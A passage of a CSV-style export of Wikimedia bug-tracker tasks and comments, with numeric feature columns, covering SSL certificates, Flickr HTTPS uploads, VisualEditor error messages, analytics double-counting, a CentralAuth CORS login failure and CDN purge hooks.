308075,Fix SSL certificate of noc.wikimedia.org,"On a more general note, it would be nice to add a test for this as part of our Icinga checks for https servers.",,,1398534493,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,23.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,3.3846153846153846,0.9230769230769231,"On a more general note, it would be nice to add a test for this as part of our Icinga checks for https servers."
308068,Fix SSL certificate of noc.wikimedia.org,"Note that when running locally (Mac OS X, latest) it works fine without errors. I only get these on Ubuntu and/or Labs.",,,1398528395,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,11.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,3.6296296296296298,0.9629629629629629,"Note that when running locally (Mac OS X, latest) it works fine without errors. I only get these on Ubuntu and/or Labs."
65254,Wikimedia Commons support for Flickr HTTPS,"Recent switchover to HTTPS protocol for Flickr is throwing errors not only for FlickreviewR bot but also for Special:Upload (and possibly UploadWizard but I haven't checked yet). Specifically when inputting an HTTPS URL into the ""Original source"" field this error pops up:

 The source must be a URL pointing to the image description at Flickr.

--------------------------
**Version**: 1.23.0
**Severity**: enhancement
**URL**: https://commons.wikimedia.org/w/index.php?title=Special:Upload&uselang=fromflickr",Medium,50.0,1396091160,1447576284.0,PHID-USER-uhn27l5qsridnw4vbhko,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-ucww6xpqaxu7libepgi6,task_description,resolved,True,c3,1,False,False,False,-66,True,0.0,0.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,21.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,9.0,8.0,0.0,2.0,0.0,1.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.076086956521739,0.6739130434782609,"Recent switchover to HTTPS protocol for Flickr is throwing errors not only for FlickreviewR bot but also for Special:Upload (and possibly UploadWizard but I haven't checked yet). Specifically when inputting an HTTPS URL into the ""Original source"" field this error pops up:

 The source must be a URL pointing to the image description at Flickr.

--------------------------
**Version**: 1.23.0
**Severity**: enhancement
**URL**: URL"
563236,Wikimedia Commons support for Flickr HTTPS,https://commons.wikimedia.org/w/index.php?title=MediaWiki:UploadForm.js&diff=prev&oldid=122410947,,,1447576284,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-ucww6xpqaxu7libepgi6,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
285902,Wikimedia Commons support for Flickr HTTPS,I think this might be an issue with commons javascript and not mediawiki (In which case it would have to be filed with the commons folks in order to be fixed).,,,1406084918,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ucww6xpqaxu7libepgi6,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,18.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7941176470588234,0.8529411764705882,I think this might be an issue with commons javascript and not mediawiki (In which case it would have to be filed with the commons folks in order to be fixed).
285898,Wikimedia Commons support for Flickr HTTPS,Testing with UploadWizard welcome (see bug 43450 for a list of Flickr issues),,,1396257963,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ucww6xpqaxu7libepgi6,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.333333333333333,1.0,Testing with UploadWizard welcome (see bug 43450 for a list of Flickr issues)
65149,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","I don't know what it should be, but the following is not very clear:

Error loading data from server: error. Would you like to retry?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=39057
https://bugzilla.wikimedia.org/show_bug.cgi?id=43147",Medium,50.0,1395869100,1409684423.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-yigtzgsn2qahxek7rusl,task_description,resolved,True,c3,1,True,False,True,-67,True,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,3.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3548387096774195,0.6612903225806451,"I don't know what it should be, but the following is not very clear:

Error loading data from server: error. Would you like to retry?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
293774,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","With the above patch, the former message:

    Error loading data from server: parsoidserver-http-bad-status:
    500. Would you like to retry?

… turns into:

    Error loading data from server: parsoidserver-http-bad-status:
    500: Page Fetch failure for ""BADURL"": Error: getaddrinfo
    ENOTFOUND. Would you like to retry?

Which is not ideal, but at least describes things a bit. Marking this as FIXED.",,,1409684423,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,9.0,5.0,2.0,2.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,3.778947368421053,0.5789473684210527,"With the above patch, the former message:

    Error loading data from server: parsoidserver-http-bad-status:
    500. Would you like to retry?

… turns into:

    Error loading data from server: parsoidserver-http-bad-status:
    500: Page Fetch failure for ""BADURL"": Error: getaddrinfo
    ENOTFOUND. Would you like to retry?

Which is not ideal, but at least describes things a bit. Marking this as FIXED."
293770,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","Change 157775 merged by jenkins-bot:
Add debugging help to VisualEditor

https://gerrit.wikimedia.org/r/157775",,,1409681809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.6875,1.0,"Change 157775 merged by jenkins-bot:
Add debugging help to VisualEditor

GERRIT_URL"
293767,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","Change 157775 had a related patch set uploaded by Jforrester:
Add debugging help to VisualEditor

https://gerrit.wikimedia.org/r/157775",,,1409669840,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,"Change 157775 had a related patch set uploaded by Jforrester:
Add debugging help to VisualEditor

GERRIT_URL"
293763,"VisualEditor: When API returns HTTP 500, present a more useful error message to the user","(In reply to Roan Kattouw from comment #0)
> I don't know what it should be, but the following is not very clear:
> 
> Error loading data from server: error. Would you like to retry?

Maybe:

| The editor's contact with the server failed (5xx). Would you like to retry?

?",,,1395882419,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yigtzgsn2qahxek7rusl,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,12.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0952380952380953,0.7619047619047619,"(In reply to Roan Kattouw from comment #0)
QUOTE
QUOTE
QUOTE

Maybe:

| The editor's contact with the server failed (5xx). Would you like to retry?

?"
64980,Safe-guard against double counting SSL zero traffic,"Kraken's pageview definitions never properly addressed the fact that
we log SSL requests twice (Once for the request at the SSL terminator,
and once for the request from the SSL terminator to the caches).

Up to recently, this peculiarity was not an issue for Zero, as we
were not having SSL traffic in zero. That however changed now.

Currently, Kraken is still doing the correct thing (throwing away the
log line from the SSL terminator, and counting only the request from
the SSL terminator to the caches), but only due to the fact that SSL
terminators do not set a MIME type—which is more than just brittle.

So kraken is doing the correct thing more as a side-effect than by
proper design. This issue becomes more and more relevant, as we're
seeing more and more SSL traffic.

We should teach kraken to properly detect requests from SSL
terminators and consequently filter them.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1395581460,1638225353.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-sgwlv2joabgyqgrfywei,task_description,declined,True,c3,1,True,False,False,-67,True,0.0,0.0,0.0,0.0,1.0,5.666666666666667,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,7.666666666666667,9.333333333333334,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,10.0,0.0,1.3333333333333333,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,5.666666666666667,1.6666666666666667,8.333333333333334,0.6666666666666666,2.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,2.0,9.333333333333334,5.333333333333333,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,1.0,0.3333333333333333,2.0,2.6666666666666665,0.0,0.0,3.946859903381642,0.6859903381642511,"Kraken's pageview definitions never properly addressed the fact that
we log SSL requests twice (Once for the request at the SSL terminator,
and once for the request from the SSL terminator to the caches).

Up to recently, this peculiarity was not an issue for Zero, as we
were not having SSL traffic in zero. That however changed now.

Currently, Kraken is still doing the correct thing (throwing away the
log line from the SSL terminator, and counting only the request from
the SSL terminator to the caches), but only due to the fact that SSL
terminators do not set a MIME type—which is more than just brittle.

So kraken is doing the correct thing more as a side-effect than by
proper design. This issue becomes more and more relevant, as we're
seeing more and more SSL traffic.

We should teach kraken to properly detect requests from SSL
terminators and consequently filter them.

--------------------------
**Version**: unspecified
**Severity**: normal"
285334,Safe-guard against double counting SSL zero traffic,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1492",,,1395679982,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sgwlv2joabgyqgrfywei,task_subcomment,,True,c3,1,False,,,-67,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
64880,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"Accessing http://wikimania2012.wikimedia.org/wiki/MediaWiki:Gadget-popups.js gives me a notification:

> Central login
> You are centrally logged in. Reload
> the page to apply your user settings

But the user portlet stays unchanged. Console shows:

XMLHttpRequest cannot load https://wikimania2012.wikimedia.org/wiki/Special:CentralAutoLogin/toolslist?returnto=MediaWiki%3AGadget-popups.js&returntoquery=. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://wikimania2012.wikimedia.org' is therefore not allowed access.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1395338100,1696630286.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-klztkvicmk5vbnxcfrf7,task_description,declined,True,c3,1,True,False,False,-67,True,0.0,0.0,0.0,1.0,3.0,5.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,24.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,15.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.093333333333334,0.6,"Accessing URL gives me a notification:

QUOTE
QUOTE
QUOTE

But the user portlet stays unchanged. Console shows:

XMLHttpRequest cannot load URL No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'URL is therefore not allowed access.

--------------------------
**Version**: unspecified
**Severity**: normal"
2207573,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"We do not allow HTTP access anymore so this is not an issue. (I guess it could be for third-party wikis but we don't really support CentralAuth for third parties, so I don't think this is worth the effort fixing.)",,,1696630286,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,3,True,,,431,True,0.0,0.0,0.0,0.0,8.0,6.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,10.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,8.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5510204081632653,0.7755102040816326,"We do not allow HTTP access anymore so this is not an issue. (I guess it could be for third-party wikis but we don't really support CentralAuth for third parties, so I don't think this is worth the effort fixing.)"
1510013,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"Sorry, wrong task",,,1590244466,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,3,True,,,255,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Sorry, wrong task"
1510012,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"Change 148646 had a related patch set uploaded (by Xqt; owner: Ricordisamoa):
[pywikibot/core@master] [script] port speedy_delete.py to core

[[https://gerrit.wikimedia.org/r/148646]]",,,1590244283,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,3,False,,,255,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.0,0.8285714285714286,"Change 148646 had a related patch set uploaded (by Xqt; owner: Ricordisamoa):
[pywikibot/core@master] [script] port speedy_delete.py to core

[[GERRIT_URL]]"
293777,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),*** Bug 64068 has been marked as a duplicate of this bug. ***,,,1404864741,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 64068 has been marked as a duplicate of this bug. ***
293773,CentralAuth: Autologin fails half-way on wikimania2009 – wikimania2012 (Access-Control-Allow-Origin mismatch),"I can still reproduce this.

Logged in via mediawiki.org.

Accessing http://wikimania2012.wikimedia.org/wiki/MediaWiki:Example

> XMLHttpRequest cannot load https://wikimania2012.wikimedia.org/wiki/Special:CentralAutoLogin/toolslist?returnto=MediaWiki%3AExample&returntoquery=. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://wikimania2012.wikimedia.org' is therefore not allowed access.",,,1403167428,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-klztkvicmk5vbnxcfrf7,task_subcomment,,True,c3,1,True,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.176470588235294,0.8235294117647058,"I can still reproduce this.

Logged in via mediawiki.org.

Accessing URL

QUOTE"
64356,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),"**Author:** `carlb613`

**Description:**
SquidPurgeClient.php seems hard-coded so content delivery network (CDN) nodes are presumed to be Squid, compatible with HTTP PURGE sent from a trusted IP address.

This works if the cache acts like a Squid (Varnish is configurable to do this) but is problematic when dealing with commercial content delivery networks.

Services like CloudFlare (or Amazon AWS) expect the origin server to invoke their specific proprietary API to signal that a page or file has been superseded with updated content. 

HTTP PURGE likely doesn't even reach them as the long list of IPv4 / IPv6 ranges is normally handled with [[mw:extension:TrustedXFF]] or a proprietary module (like mod_cloudflare for Apache). Even if it were possible to list the entire CDN in $wgSquidServers, those servers would ignore a Squid-style PURGE message.

The end result is that plenty of outdated content is served as the CDN has no way to know a new version exists until the original version expires from cache.

There needs to be a way to replace the stock SquidPurgeClient with an extension which provides a function to purge CDN files, but I see no hooks in the code to allow this. There are [[mw:Manual:CloudFlare#HTTP_purge]] extensions for WordPress, Drupal and the like but nothing for MediaWiki as the hook to add such an extension does not exist.

--------------------------
**Version**: 1.23.0
**Severity**: normal",Medium,50.0,1394158200,1586627528.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-7sfermkb72xrj2nbgkhd,task_description,resolved,True,c3,1,False,False,False,-69,True,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,5.333333333333333,1.6666666666666667,0.0,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,2.6666666666666665,12.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,7.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,3.3333333333333335,0.0,1.0,0.0,0.0,0.0,12.666666666666666,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,7.0,3.6666666666666665,13.666666666666666,2.0,2.3333333333333335,9.666666666666666,0.0,0.0,0.0,0.0,4.666666666666667,1.0,0.3333333333333333,0.0,1.3333333333333333,12.0,9.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,2.3333333333333335,4.126060733571779,0.7336068447997756,"**Author:** CODE

**Description:**
SquidPurgeClient.php seems hard-coded so content delivery network (CDN) nodes are presumed to be Squid, compatible with HTTP PURGE sent from a trusted IP address.

